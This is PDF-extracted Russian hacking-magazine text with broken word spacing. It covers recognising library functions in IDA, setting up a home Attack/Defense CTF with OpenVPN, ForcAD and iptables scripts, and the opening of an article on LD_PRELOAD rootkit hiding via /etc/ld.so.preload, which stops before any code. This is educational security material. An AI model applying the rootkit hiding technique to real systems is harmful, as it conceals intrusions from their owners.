          .text:0000000140001014 void demo(void) endp

То  есть  дизас сем блер  пра виль но  рас познал  имя  фун кции.  Но  так  быва ет
далеко  не  всег да  и  не  со  все ми  биб лиотеч ными фун кци ями.  А  ког да  проб‐ 
лемы  воз ника ют  с  ними,  кодоко пате лю  ана лизи ровать  ста новит ся  слож‐ 
новато. Быва ет, сидишь, тупо уста вив шись в лис тинг дизас сем бле ра, и никак
не можешь понять: что же этот фраг мент дела ет? И толь ко потом обна ружи‐ 
ваешь — одна или нес коль ко фун кций опоз наны неп равиль но!

Для умень шения количес тва оши бок IDA пыта ется по стар товому коду рас‐ 
познать  ком пилятор,  под гру жая  толь ко  биб лиоте ку  его  сиг натур.  Из  это го
сле дует, что «осле пить» IDA очень прос то — дос таточ но слег ка видо изме нить
стар товый  код. Пос коль ку  он,  по  обык новению,  пос тавля ется  вмес те  с  ком‐ 
пилято ром в исходных тек стах, сде лать это будет нет рудно. Впро чем, хва тит
и изме нения одно го бай та в начале startup‐фун кции. И все, хакер скле ит лас‐ 
ты!

К  счастью,  в  IDA  пре дус мотре на  воз можность  руч ной  заг рузки базы  сиг‐ 
натур (FILE\Load file\FLIRT signature file), но поп робуй‐ка вруч ную опре делить,
сиг натуры  какой имен но вер сии биб лиоте ки  тре бует ся  заг ружать! Наугад —
слиш ком  дол го...  Хорошо,  если  удас тся  визу аль но  опоз нать  ком пилятор.
Опыт ным  иссле дова телям  это  обыч но  уда ется,  так  как  каж дый  из  них  (ком‐ 
пилятор,  а  не  иссле дова тель)  име ет  свой  уни каль ный  «почерк».  К  тому  же
сущес тву ет прин ципи аль ная воз можность исполь зования биб лиотек из пос‐ 
тавки  одно го  ком пилято ра  в  прог рамме,  ском пилиро ван ной  дру гим  ком‐ 
пилято ром.  Сло вом,  будь  готов  к  тому,  что  в  один  прек расный  момент  ты
можешь  стол кнуть ся  с  необ ходимостью  самос тоятель но  опоз навать  биб‐ 
лиотеч ные фун кции.

Ре шение этой задачи сос тоит из трех эта пов:
1. оп ределе ние самого фак та «биб лиотеч ности» фун кции;
2. оп ределе ние про исхожде ния биб лиоте ки;
3. иден тифика ция фун кции по этой биб лиоте ке.

Учи тывая,  что  лин кер обыч но рас полага ет фун кции  в  поряд ке перечис ления
obj‐модулей и биб лиотек, а боль шинс тво прог раммис тов ука зыва ют сна чала
собс твен ные  obj‐модули,  а  биб лиоте ки  —  потом  (кста ти,  так  же  пос тупа ют
и  ком пилято ры,  самос тоятель но  вызыва ющие  лин кер  пос ле  окон чания
работы),  мож но  зак лючить:  биб лиотеч ные  фун кции  раз меща ются  в  кон це
прог раммы, а собс твен но ее код — в начале. Конеч но, из это го пра вила есть
исклю чения, но все же сра баты вает оно дос таточ но час то.

Рас смот рим,  к  при меру,  струк туру  кон соль ной  вер сии  обще извес тной
прог раммы  . Она сущес‐ 
твен но лег че, чем ее окон ная вер сия. Ее вывод в кон соли име ет сле дующий
вид.

pkzip.exe пос ледней на дан ный момент 14‐й вер сии

Кон соль ный вывод при ложе ния pkzipc.exe

Во вре мя заг рузки при ложе ния в IDA та пред полага ет, что это ROM для SNES.
Забав но, но выберем AMD64, если, конеч но, уста нов лена 64‐раз рядная вер‐ 
сия ути литы.

Заг рузка pkzipc.exe в IDA

На  диаг рамме,  пос тро енной  IDA Pro  7.2,  вид но,  что  все  биб лиотеч ные фун‐ 
кции находят ся в сег менте кода сре ди обыч ных фун кций до начала сег мента
дан ных.

Ди аграмма для pkzipc.exe

Са мое  инте рес ное:  startup‐фун кция  в  подав ляющем  боль шинс тве  слу чаев
рас положе на в самом начале реги она биб лиотеч ных фун кций или находит ся
в непос редс твен ной бли зос ти от него. Най ти же саму startup не проб лема —
она сов пада ет с точ кой вхо да в файл!

Та ким обра зом, мож но с высокой долей уве рен ности утвер ждать, что все
фун кции, рас положен ные «ниже» startup (то есть в более стар ших адре сах), —
биб лиотеч ные.  Пос мотри,  рас позна ла  их  IDA  или  перело жила  эту  заботу
на  тебя? Воз можны  два  вари анта:  вооб ще  никакие фун кции  не  рас позна ны
или не рас позна на толь ко часть фун кций.

Ес ли не рас позна на ни одна фун кция, ско рее все го,  IDA не сумела опоз‐ 
нать  ком пилятор  или  исполь зовались  неиз вес тные  ей  вер сии  биб лиотек.
Для  при мера  под сунем  IDA  дру гой  популяр ный  архи ватор  —  ,
который, как извес тно, написан на объ ектном пас кале.

peazip.exe

Ди аграмма для peazip.exe

На диаг рамме вид но, что  IDA не опоз нала ни одной биб лиотеч ной фун кции!
Вот  так  новость!  Смот рим,  какой  ком пилятор  опре делен  дизас сем бле ром:

.  Кар тина  про ясня ется:  IDA  неп‐ 
равиль но опре дели ла ком пилятор! Но что она ска жет, если мы пред ложим ей

 (for Windows)?

«Plan  FLIRT  signature:  SEH  for  vc64  7‐14»

pkzipw.exe

Ди аграмма для pkzipw.exe

Го раз до луч ше! Мы зна ем, что пре пари руемое при ложе ние написа но на C++
и откомпи лиро вано в Visual Studio. Поэто му  IDA выда ет снос ные резуль таты.
Меж ду  тем тех ника рас позна вания ком пилято ров — раз говор осо бый, а вот
рас позна ние вер сий биб лиотек — это то, чем мы сей час и зай мем ся.

ОПРЕДЕЛЕНИЕ БИБЛИОТЕК И ИХ ВЕРСИЙ
Преж де  все го,  мно гие  из  них  содер жат  копирай ты  с  ука зани ем  име ни  про‐ 
изво дите ля  и  вер сии биб лиоте ки,  прос то  поищи  тек сто вые  стро ки  в  бинар‐ 
ном фай ле. Если их нет, не беда — ищем любые дру гие тек сто вые стро ки (как
пра вило, сооб щения об ошиб ках) и прос тым кон текс тным поис ком пыта емся
най ти их во всех биб лиоте ках, до которых удас тся дотянуть ся  (хакер дол жен
иметь  широкий  набор  ком пилято ров  и  биб лиотек  на  сво ем  жес тком  дис ке
или SSD‐накопи теле — это уж кому как боль ше нра вит ся).

Воз можны вари анты:  никаких дру гих  тек сто вых строк вооб ще нет;  стро ки
есть,  но  они  неуни каль ны  —  обна ружи вают ся  во  мно гих  биб лиоте ках;
наконец, иско мый фраг мент ниг де не обна ружен. В пер вых двух слу чаях сле‐ 
дует  выделить  из  одной  (нес коль ких)  биб лиотеч ных  фун кций  харак терную
пос ледова тель ность  бай тов,  не  содер жащую  переме щаемых  эле мен тов,
и  вновь  попытать ся  отыс кать  ее  во  всех  дос тупных  биб лиоте ках.  Если  же
это не поможет, то, увы, иско мой биб лиоте ки у тебя в наличии нет и положе‐ 
ние патовое.

Па товое, да не сов сем! Конеч но, авто мати чес ки вос ста новить име на фун‐ 
кций уже не удас тся, но надеж да на быс трое выяс нение наз начения фун кций
все  же  есть.  Име на  API‐фун кций  Windows,  вызыва емые  из  биб лиотек,  поз‐ 
воля ют  иден тифици ровать  по  край ней  мере  катего рию  биб лиоте ки  (нап‐ 
ример, работа с фай лами, памятью, гра фикой). Матема тичес кие же фун кции,
по обык новению, богаты коман дами соп роцес сора.

Ди зас сем бли рова ние  очень  похоже  на  раз гадыва ние  крос свор да  (хотя
не  факт,  что  хакеры  любят  раз гадывать  крос свор ды) —  неиз вес тные  сло ва
уга дыва ются за счет извес тных. При мени тель но к дан ному слу чаю в некото‐ 
рых кон тек стах наз вание фун кции вытека ет из ее исполь зования. Нап ример,
зап рашива ем у поль зовате ля пароль, переда ем его фун кции X вмес те с эта‐ 
лон ным паролем, если резуль тат завер шения нулевой — пишем «пароль ОК»,
и, соот ветс твен но, наобо рот. Не под ска зыва ет ли твоя инту иция, что фун кция
X не что иное, как  ? Конеч но, это прос тей ший слу чай, но, стол кнув шись
с нез накомой под прог раммой, никог да не спе ши впа дать в отча яние и при‐ 
ходить  в  ужас от ее  «монс тру озности». Прос мотри все  вхож дения,  обра щая
вни мание, кто вызыва ет ее, ког да и сколь ко раз.

strcmp

Ста тис тичес кий  ана лиз  про лива ет  свет  на  очень  мно гое  (фун кции,  как  и
бук вы  алфа вита,  встре чают ся  каж дая  со  сво ей  час тотой),  а  кон текс тная
зависи мость  дает  пищу  для  раз мышле ний.  Так,  фун кция  чте ния  из  фай ла
не может пред шес тво вать фун кции откры тия!

Дру гие  зацеп ки:  аргу мен ты  и  кон стан ты.  Ну,  с  аргу мен тами  все  более
или  менее  ясно.  Если  фун кция  получа ет  стро ку,  то  это,  оче вид но,  фун кция
из  биб лиоте ки  работы  со  стро ками,  а  если  вещес твен ное  зна чение —  воз‐ 
можно,  фун кция  матема тичес кой  биб лиоте ки.  Количес тво  и  тип  аргу мен тов
(если  их  учи тывать)  весь ма  сужа ют  круг  воз можных  кан дидатов.  С  кон стан‐ 
тами же еще про ще — очень мно гие фун кции при нима ют в качес тве аргу мен‐ 
та флаг,  допус кающий огра ничен ное  количес тво  зна чений. За  исклю чени ем
битовых  фла гов,  которые  все  похожи  друг  на  дру га,  доволь но  час то  встре‐ 
чают ся уни каль ные зна чения, пус кай не однознач но иден тифици рующие фун‐ 
кцию,  но  все  рав но  сужа ющие  круг  «подоз рева емых».  Да  и  сами  фун кции
могут  содер жать  харак терные  кон стан ты.  Ска жем,  встре тив  стан дар тный
полином для под сче та CRC, мож но быть уве рен ным, что «под следс твен ная»
вычис ляет кон троль ную сум му...

Мне  могут  воз разить:  мол,  все  это  час тнос ти.  Воз можно.  Но,  опоз нав
часть фун кций, наз начения осталь ных мож но вычис лить «от про тив ного» и уж
по край ней мере понять, что это за биб лиоте ка такая и где ее искать.

ЗАКЛЮЧЕНИЕ
Иден тифика цию  алго рит мов  (то  есть  наз начения  фун кции)  очень  силь но
облегча ет зна ние этих самих алго рит мов. В час тнос ти, код, выпол няющий LZ‐
сжа тие  (рас паков ку),  нас толь ко  харак терен,  что  узна ется с пер вого взгля да,
дос таточ но  знать  этот  механизм  упа ков ки.  Нап ротив,  если  не  иметь  о  нем
никако го  пред став ления,  ох,  и  нелег ко  же  будет  ана лизи ровать  прог рамму!
Зачем изоб ретать колесо, если мож но взять уже готовое? Хоть и быту ет мне‐ 
ние, что хакер в пер вую оче редь хакер, а уж потом прог раммист (да и зачем
ему уметь прог рамми ровать?), в жиз ни все наобо рот — прог раммист, не уме‐ 
ющий  прог рамми ровать,  про живет  —  вок руг  уйма  биб лиотек,  вот кни  —
и зарабо тает! Хакеру же зна ние основ необ ходимо, без это го далеко не уплы‐ 
вешь (разуме ется, отло мать серий ный номер у соф тины мож но и без выс шей
матема тики).

По нят ное дело, биб лиоте ки как раз на  то и соз давались, что бы изба вить
раз работ чиков  от  необ ходимос ти  вни кать  в  те  пред метные  области,
без которых им и так хорошо. Увы, у иссле дова телей прог рамм нет прос тых
путей, при ходит ся думать и руками, и головой, и даже... пятой точ кой опо ры
вку пе со спин ным моз гом, толь ко так и дизас сем бли руют ся серь езные прог‐ 
раммы. Быва ет, готовое решение при ходит в поез де или во сне...

Ана лиз  биб лиотеч ных  фун кций —  это  слож ней ший  аспект  дизас сем бли‐ 
рова ния, и прос то замеча тель но, ког да есть воз можность иден тифици ровать
их име на по сиг натурам.

mailto:yazevsoft@gmail.com
https://xakep.ru/author/yurembo/
https://www.pkware.com/pkzip
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ВЗЛОМ

CTF‐сорев нования  проч но  зак репились
в  око лоай тиш ных  кру гах.  Най ти  челове ка,
который  не  слы шал  о  сорев новани ях
для хакеров, слож но, и всё чаще появ ляют‐ 
ся  мыс ли  о  сво ем  собс твен ном  сорев‐ 
новании. И если для сорев нований в жан ре
Task‐based  уже  сущес тву ют  хорошие  плат‐ 
формы,  то  для  Attack/Defense  при дет ся
при думы вать  что‐то  более  слож ное.  Уса‐ 
живай ся  поудоб нее  —  сей час  я  рас ска жу
про опыт орга низа ции таких мероп риятий.

Краткая справка
CTF (Capture The Flag — зах ват фла га) быва ет раз ный. Есть два жан ра: Task‐
based и Attack/Defense. В пер вом слу чае мож но играть чуть ли не «на бумаж‐ 
ке»  —  это  обык новен ные  задачи,  которые  мож но  решить  или  не  решить,
при  этом  твой  прог ресс  никак  не  зависит  от  дей ствий  дру гих  учас тни ков.
Во  вто ром  же  жан ре  име ется  игро вая  сеть,  где  раз ные  коман ды  ата куют
и  отра жают  ата ки  друг  дру га.  Само  собой,  Attack/Defense  куда  динамич нее
и инте рес нее, но и орга низа ция таких сорев нований куда слож нее.

Чи тай так же: Capture the Flag. Как взлом стал спор тивным сос тязани ем

Для тре ниро вок внут ри нашей коман ды мне пот ребова лось раз вернуть свой
домаш ний Attack/Defense (уже на готовых чужих сер висах).

WWW

Для  Task‐based‐сорев нований  уже  сущес тву ет
плат форма  .CTFd

СОЗДАНИЕ СЕТИ
Обыч но  все  сорев нования  Attack/Defense  про ходят  внут ри  спе циаль но
выделен ной сети. Бла года ря это му обес печить работу всей инфраструк туры
ста новит ся лег че в нес коль ко раз. В соз дании сетевой инфраструк туры нам
помогут  вир туаль ные  час тные  сети  (VPN).  Лидера ми  готовых  решений,
которые поз воля ют сде лать собс твен ную при ват ную сеть, явля ются 
и  .

OpenVPN
Wireguard

Основные элементы сети
Сна чала  нам  нуж но  опре делить ся  с  эле мен тами,  которые  будут  находить ся
в нашей сети.

 — сер вер, к которо му будут под клю чать ся все устрой ства
для обра зова ния нашей сети. Важ ным пун ктом будет то, что у это го сер‐ 
вера дол жен быть «белый» IP‐адрес.

• Глав ный узел

 — к нему будут под клю чать ся игро ки
для даль нейшей игры. Для каж дой коман ды будет свой кон фиг, с помощью
которо го игро ки смо гут вой ти в свою сеть.

• Узел для под клю чения игро ков

. К это му узлу будет под‐ 
клю чать ся вул нбокс с сер висами. Из при меча тель ного  то,  что  такое пос‐ 
тро ение сети поз волит под клю чить вул нбокс со сво его сер вера, а не сер‐ 
вера орга низа торов — при усло вии, что есть нуж ный кон фиг.

• Узел для сер вера с сер висами (вул нбокс)

По ито гу мы получим отдель ные узлы для каж дой из команд, отдель ные узлы
для вул нбок сов команд (при таком рас кла де мы поз волим под клю чать в нашу
сеть сто рон ние сер вера для самос тоятель ного хос тинга) и узел для жюри.

INFO

Вул нбокс  (vulnbox)  —  машина  с  некото рым
набором  заведо мо  уяз вимых  сер висов.  В  CTF
каж дая  коман да  получа ет  иден тичную  копию
такой машины.

OpenVPN
Нач нем наше пос тро ение сети с OpenVPN.

INFO

На мой взгляд,   на Хаб ре очень хороша
для понима ния, что и как нуж но сде лать для соз‐ 
дания собс твен ных сетей. Но ниже мы раз берем,
какие кон фигура цион ные фай лы мы дол жны соз‐ 
дать.

эта статья

Мы  уже  решили,  какие  узлы  у  нас  будут.  Тог да  можем  перей ти  к  соз данию
кон фигов для нашей сети. Что бы избе жать рутин ной работы, вос поль зуем ся
уже  сущес тву ющим    с  откры тым  исходным  кодом.
Нам  так же  пот ребу ется  уста новить  необ ходимые  зависи мос ти  для  кор рек‐ 
тной работы.

ре пози тори ем  OVPNGen

 

 

 $ git clone https://github.com/pomo‐mondreganto/OVPNGen
$ pip3 install ‐r requirements.txt

Пос мотрим на дос тупные фун кции это го генера тора.

 

 

 

 

 

$ ./gen.py ‐‐help

usage: gen.py [‐h] ‐‐server SERVER [‐‐per‐team N] [‐‐team] [‐‐jury] [‐‐
vuln] [‐‐teams N | ‐‐range N‐N | ‐‐list N,N,...]

Generate openvpn configuration for AD CTFs

optional arguments: 
  ‐h, ‐‐help            show this help message and exit 
  ‐‐server SERVER, ‐s SERVER 
                  Openvpn server host 
  ‐‐per‐team N          Number of configs per team 
  ‐‐team                Generate config for teams 
  ‐‐jury                Generate config for jury 
  ‐‐vuln                Generate config for vulnboxes 
  ‐‐teams N, ‐t N       Team count 
  ‐‐range N‐N           Range of teams (inclusive) 
  ‐‐list N,N,...        List of teams

Раз берем по полоч кам, что у нас есть.
 нужен для ука зания глав ного сер вера, к которо му будут про исхо‐ 

дить все кон некты. Это обя затель ный параметр.
• server

В   говорим, сколь ко необ ходимо сге нери ровать поль зователь‐ 
ских  кон фигов  внут ри  коман ды  (генери рует ся  оди нако вое  количес тво
для каж дой коман ды).

• perteam

Па раметр   пред писыва ет сге нери ровать кон фиг для команд,   —
для жюри, а   — для вул нбок сов.

• team jury

vuln

Ар гумен ты  ,   и    ука зыва ются на выбор.   — количес тво
команд.  В  таком  слу чае  мы  сге нери руем  кон фиги  для  команд  1‐N  (вклю‐ 
читель но).   — ана логич но пре дыду щему вари анту, одна ко в этом слу чае
мы  сами  ука зыва ем,  с  какой  коман ды  по  какую  (вклю читель но)  мы  будем
генери ровать кон фиги. А в   мы можем ука зать через запятую все коман‐ 
ды, которым мы сге нери руем кон фиги.

teams range list teams

range

list

И перед тем, как получим сами кон фиги, раз берем нас трой ки при ложе ния
(файл  ):config.py

 import os

   BASE_DIR = os.path.dirname(os.path.abspath(__file__))
     RESOURCES = os.path.join(BASE_DIR, 'resources')
     RESULT_DIR = os.path.join(BASE_DIR, 'result')

     TEMPLATES_PATH = os.path.join(BASE_DIR, 'templates')

     SERVER_CONFIG_DIR = os.path.join(RESULT_DIR, 'server')
     TEAM_CLIENT_DIR = os.path.join(RESULT_DIR, 'team')
     VULN_CLIENT_DIR = os.path.join(RESULT_DIR, 'vuln')
     JURY_CLIENT_DIR = os.path.join(RESULT_DIR, 'jury')

     TEAM_SERVER_DIR = os.path.join(SERVER_CONFIG_DIR, 'team')
     VULN_SERVER_DIR = os.path.join(SERVER_CONFIG_DIR, 'vuln')
     JURY_SERVER_DIR = os.path.join(SERVER_CONFIG_DIR, 'jury')

   TEAM_PORT = 30000
   VULN_PORT = 31000
   JURY_PORT = 32000

Важ ными  будут  пос ледние  3  строч ки.  В  них  мы  ука зыва ем  пор ты,  которые
будут  исполь зовать ся  для  уста нов ления  под клю чения  к  сер веру.  Нап ример,
на моем сер вере открыт диапа зон пор тов 31000–33000.  Тог да,  что бы  уста‐ 
новить пор ты, мне будет дос таточ но сле дующих нас тро ек:

   TEAM_PORT = 31000
   VULN_PORT = 31100
   JURY_PORT = 31200

WARNING

Я исполь зую   это‐ 
го скрип та с под дер жкой про токо ла TCP. Разуме‐ 
ется,  это  будет  мед леннее,  чем  по  UDP,  одна ко
из‐за  некото рых  осо бен ностей  моего  сер вера
это  единс твен ный  вари ант,  при  котором  сеть
будет работать.

нем ного дорабо тан ную вер сию

Да вай сге нери руем нуж ные кон фиги для нашей сети. В моем слу чае сер вер
будет  ,  тебе же сто ит изме нить адрес на свой. И допус тим,  что
будет все го 4 коман ды, с пер вой по чет вертую. Это мы сде лаем сле дующим
обра зом:

ctf.bsuir.by

 

 

 

$ ./gen.py ‐‐server ctf.bsuir.by ‐‐jury ‐‐team ‐‐vuln ‐‐teams 4

Done generating config for 4 teams

Пос ле  завер шения  генери рова ния  кон фигов  у  нас  появит ся  пап ка  ,
в  которой  есть  пап ки  ,  ,    и  .  В  каж дой  из  этих  папок
находят ся  соот ветс тву ющие  кон фигура цион ные фай лы.  Важ ным  уточ нени ем
будет, что в пап ке   есть еще 3 пап ки:  ,  ,  , в которых тоже
находят ся кон фигура цион ные фай лы, но уже для запус ка их на сер вере, а не
на кли енте.

result

jury server team vuln

server jury team vuln

Порядок установки конфигов
Пос ле  генера ции всех  кон фигов нам необ ходимо их  уста новить. Уста новить
кон фиг мож но сле дующей коман дой:

 

 
$ sudo openvpn config.conf

Так как в моем рас поряже нии все го один сер вер, то я буду уста нав ливать все
сер верные  кон фиги  на  него.  Для  домаш него  Attack/Defense  такая  так тика
про катит,  одна ко  если  команд  и  игро ков  у  тебя  нам ного  боль ше,  то  сто ит
задумать ся о более пра виль ном рас пре деле нии наг рузки.

Итак, нам пот ребу ется запус тить все кон фиги из пап ки   на нашем
сер вере. О деталь ной нас трой ке (а точ нее, об управле нии сетью) мы погово‐ 
рим чуть поз же.

server

FORCAD
Ра зуме ется,  для  любого  Attack/Defense‐сорев нования  тре бует ся  сис тема,
которая  будет  про верять  работос пособ ность  сер висов,  при сылать  новые
фла ги,  учи тывать  сдан ные фла ги  и  выводить  таб лицу  резуль татов.  Хороший
при мер такой сис темы —  .ForcAD

ForcAD

Плат форма  доволь но  молодая.  Ее  час то  мож но  уви деть  на  сорев новани ях
от коман ды  . Из основных пре иму ществ мож но выделить сле‐ 
дующие:

C4T-BuT-S4D

прос тое раз верты вание;•
на личие докумен тации;•
уже  готовые наборы сер висов с  чекера ми  (сер висами про вер ки) под эту
жюри‐сис тему.

•

Са мое слож ное здесь — написа ние кон фигов.

Установка
Сна чала ска чаем фай лы про екта:

 

 
$ git clone https://github.com/pomo‐mondreganto/ForcAD

Кон фиг  для  жюрей ки  находит ся  по  пути  .  Там
уже сущес тву ет при мер кон фига, на осно ве которо го мы будем писать свой.

backend/config/config.yml

 

 
$ cp config.yml.example config.yml

Прис тупим к раз бору написан ного в кон фиге.
1. Сек ция   нуж на для того, что бы осу щест влять дос туп к админ‐панели
во вре мя сорев нования. Оче вид но, что дан ные сто ит поменять.

admin

2. В сек ции   соб раны все парамет ры, которые вли яют на работу сис‐ 
темы:

global

 — ука зыва ем вре мен ную зону (исполь зует ся для парамет ра
);

• timezone

start_game

  —  нужен  для  того,  что бы  задать  вре мя  стар та  работы
чекеров  (тот  момент,  в  который  сис тема  нач нет  работать  в  пол ную
силу);

• start_game

 — ука зыва ем дли тель ность раун да в секун дах. Автор сис‐ 
темы  рекомен дует  уста нав ливать  вре мя  в  зависи мос ти  от  ско рос ти
работы чекеров;

• round_time

 — вре мя жиз ни фла га в раун дах;• flag_lifetime

 — путь до чекеров;• checkers_path

 — путь до окру жения чекеров;• env_path

 —  стан дар тное  количес тво  очков  для  сер виса,  если
у это го сер виса не ука зано дру гое.

• default_score

3. В сек ции   нас тра ивает ся  хра нили ще необ ходимой информа ции
для жюрей ки. Не забудь поменять пароли!

storages

4. В сек цию   мы добавим задачи, с которы ми нашим коман дам при дет‐ 
ся справ лять ся:

tasks

 — путь до исполня емо го фай ла чекера. Он обя затель но дол‐ 
жен быть с пра вами запус ка отку да угод но;

• checker

  —  через  сколь ко  оста нав ливать  работу  чекера
во избе жание слу чай ных зависа ний;

• checker_timeout

  —  спе циаль ная  перемен ная  для  ука зания  режима
работы  чекера.  Нас тоятель но  рекомен дую  озна комить ся  с  докумен‐ 
таци ей  в  гите  авто ра,  так  как  он  пре дос тавля ет  нес коль ко  раз личных
режимов и у каж дого есть свои осо бен ности;

• checker_type

 — количес тво фла гов, которое про верит чекер;• gets

 — количес тво фла гов, которое чекер положит в сер вис;• puts

.  У  сер виса  может  быть  нес коль ко  мест  для  хра нения  фла га.
В этом парамет ре мож но ука зать количес тво таких мест, тог да каж дый
новый флаг может ложить ся в дру гое поле;

• places

 — наз вание сер виса, которое будет вид но на скор борде;• name

 — зада ет началь ное количес тво очков у сер виса.• default_score

5. И наконец, сек ция  . Тут всё прос то: есть   и есть  . В    ука‐ 
зыва ем адрес до коман ды (важ ный момент: не сто ит ука зывать  ,
чекер не смо жет дой ти до коман ды). Инте рес ная деталь, которая не ука‐ 
зана  в  офи циаль ной  докумен тации:  мы  можем  добавить  под свет ку
для  коман ды  с  помощью  парамет ра  .  Нап ример,  кон фиг
для одной коман ды будет такой:

teams ip name ip
127.0.0.1

highlighted

teams:
      ‐ ip: 10.80.14.2
      name: Bulba Hackers
      highlighted: true

Пос ле завер шения сто ит закинуть фай лы чекеров в пап ку, которую ука зывал
в нас трой ках. Теперь мож но перей ти к запус ку сис темы.

 

 

 # уста нав лива ем все необ ходимые 
модули 

 # уста нав лива ем кон фиг, нас тра иваем докеры 
 # запус каем сис тему

$ pip3 install ‐r requirements.txt

$ sudo ./control.py setup
$ sudo ./control.py start ‐‐fast

Пос ле запус ка сис темы открыть веб‐интерфейс мож но по адре су, где запус‐ 
калась жюрей ка (у меня это  ).10.10.10.10

INFO

Мож но  поп ракти ковать ся  с  сер висами  мероп‐ 
риятия  ,  исходни ки  которых  орга низа‐ 
торы выложи ли в  .

STAY~CTF
ре пози торий на Гит хабе

Из инте рес ных механик мож но выделить  генера цию фла гов и  токенов. Если
в жюрей ной сис теме от    сущес тву ют  прос то фла ги  и  при  сда че
не нуж но ука зывать какие‐то допол нитель ные парамет ры,  то в ForcAD необ‐ 
ходимо  допол нитель но  ука зать  токен  коман ды.  Что бы  получить  токены
для каж дой коман ды, нуж но написать сле дующее:

Hackerdom

 

 
$ sudo ./control.py print_tokens

УПРАВЛЯЕМ СЕТЬЮ
Во  вре мя  сорев нований  Attack/Defense  обыч но  есть  вре мя,  в  которое  сеть
зак рыта,  то  есть  чекеры  не  начина ют  свою  работу  и  коман ды  не  могут
посетить сер висы чужих  команд. Всё это сде лать мож но при помощи 

, что пот ребу ет опре делен ных зна ний. К нашему счастью, за нас всё 
. Уста новить это чудо авто мати зации мож но одной коман дой:

ipta‐
bles уже
при дума ли

 

 
$ git clone https://github.com/pomo‐mondreganto/ad_net_control

Как и в пре дыду щих слу чаях, я исполь зую нем ного модифи циро ван ную вер‐ 
сию из‐за TCP‐соеди нений и пор тов. Если ты тоже изме нял стан дар тный кон‐ 
фиг OVPNGen, то сто ит изме нить и некото рые мес та в этом скрип те.

Так  как  мы  все  сер верные  кон фиги  запус кали  на  одной  машине,  то  нам
хва тит ров но одно го фай ла  .net_control.py

 

 

 

 

 

 

$ ./net_control.py ‐‐help

usage: net_control.py [‐h] [‐‐team N] [‐‐verbose] [‐‐dry‐run] (‐‐teams N 
| ‐‐range N‐N | ‐‐list N,N,...)

Manage router network during AD CTF

positional arguments: 
  {init,open,close,shutdown,add_drop,remove_drop,list,ban,isolate} Com‐
mand to run

optional arguments: 
  ‐h, ‐‐help            show this help message and exit 
  ‐‐team N              Team number (1‐indexed) for ban or isolation 
  ‐‐verbose, ‐v         Turn verbose logging on 
  ‐‐dry‐run             Just print rules (verbose mode) 
  ‐‐teams N, ‐t N       Team count 
  ‐‐range N‐N           Range of teams (inclusive) 
  ‐‐list N,N,...        List of teams

Здесь есть нес коль ко  команд,  которые зада ют опре делен ный набор пра вил
для нашей сети. Оче вид но, что запус кать этот скрипт нуж но со сто роны сер‐ 
вера.  Перей дем  к  некото рым  коман дам,  которые  помогут  нам  в  нас трой ке
сети.

 — мы исполь зуем эту коман ду, ког да запус тили все сер верные кон‐ 
фиги. Она нас тро ит всю мар шру тиза цию в сети. По умол чанию коман дам
раз решено под клю чать ся к сво им вул нбок сам.

• init

 — откры вает сеть, и коман ды про тив ников могут посещать твои сер‐ 
висы (а ты — их).

• open

  —  зак рыва ет  сеть,  оставляя  пра во  под клю чать ся  к  собс твен ным
вул нбок сам.

• close

  —  вык люча ет  сеть  (пол ностью).  Если  быть  более  точ ным,  то
уда ляет ранее выб ранный набор инс трук ций для  .

• shutdown

iptables

При мер  исполь зования  команд  (если  в  нашем  сорев новании  учас тву‐ 
ет 4 коман ды):

 

 

 # пос ле запус ка всех сер верных 
кон фигов 

 # откры вает сеть 
 # зак рыва ет сеть 

 # вык люча ет сеть

$ sudo ./net_control.py init ‐‐teams 4

$ sudo ./net_control.py open ‐‐teams 4
$ sudo ./net_control.py close ‐‐teams 4
$ sudo ./net_control.py shutdown ‐‐teams 4

ИТОГИ
Как видишь, раз вернуть свой неболь шой Attack/Defense — не силь но слож ная
задача. В open source мож но най ти и готовые сер висы с чекера ми, и скрип ты
для  авто мати зации  рутин ной  работы,  и  готовые  жюрей ные  сис темы,  а  я
разоб рал боль шинс тво нюан сов при соз дании собс твен ного домаш него At‐
tack/Defense‐сорев нования. Если свес ти все шаги в чек лист, получат ся такие
пун кты:
1. На писать собс твен ные сер висы и чекеры к ним (или взять готовые).
2. Под нять свою сеть.
3. Под нять жюрей ную сис тему и нас тро ить ее.
4. Уп равлять сетью уже готовой ути литой или самос тоятель но нас тро ить пра‐ 
вила  .iptables

И оста нет ся толь ко получать удо воль ствие от про веде ния Attack/Defense CTF
:)

mailto:herrlestrate@gmail.com
https://xakep.ru/2016/06/14/ctf/
https://ctfd.io/
https://openvpn.net/
https://www.wireguard.com/
https://habr.com/ru/post/233971/
https://github.com/pomo-mondreganto/OVPNGen
https://github.com/HerrLeStrate/OVPNGen
https://github.com/pomo-mondreganto/ForcAD
https://ctftime.org/event/1024
https://github.com/C4T-BuT-S4D/stay-home-ctf-2020
https://github.com/pomo-mondreganto/ad_net_control
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ВЗЛОМ

В  ник сах  сущес тву ет  перемен ная  сре ды,
при  ука зании  которой  твои  биб лиоте ки
будут заг ружать ся рань ше осталь ных. А это
зна чит,  что  появ ляет ся  воз можность  под‐ 
менить  сис темные  вызовы.  Называ ется
перемен ная  ,  и  в  этой  статье
мы  под робно  обсу дим  ее  зна чение  в  сок‐ 
рытии (и обна руже нии!) рут китов.

LD_PRELOAD

Офи циаль но глав ное пред назна чение LD_PRELOAD — отладка или про вер ка
фун кций в динами чес ки под клю чаемых биб лиоте ках. Если не хочет ся исправ‐ 
лять  и  переком пилиро вать  саму  биб лиоте ку,  то  мож но  вос поль зовать ся
перемен ной сре ды.

К при меру, если нам нуж но пред загру зить биб лиоте ку ld.so, то у нас будет
два спо соба:
1. Ус тановить перемен ную сре ды   с фай лом биб лиоте ки.LD_PRELOAD

2. За писать путь к биб лиоте ке в файл  ./etc/ld.so.preload

В  пер вом  слу чае  мы  объ явля ем  перемен ную  с  биб лиоте кой  для  текуще го
поль зовате ля  и  его  окру жения.  Во  вто ром  же  наша  биб лиоте ка  будет  заг‐ 
ружена рань ше осталь ных для   поль зовате лей сис темы.всех

Нам  инте ресен  как  раз  вто рой  спо соб:  имен но  он  час то  исполь зует ся
в рут китах для перех вата некото рых вызовов, таких как чте ние фай ла, лис тинг
дирек тории,  про цес сов  и  про чих  фун кций,  поз воля ющих  зло умыш ленни ку
скры вать свое при сутс твие в сис теме.

WWW

В осно ве это го иссле дова ния — пуб ликация Абхи‐ 
нава  Тха кура 

.
Crafting  LD_PRELOAD  Rootkits

in Userland

ПЕРЕОПРЕДЕЛЕНИЕ СИСТЕМНЫХ ВЫЗОВОВ
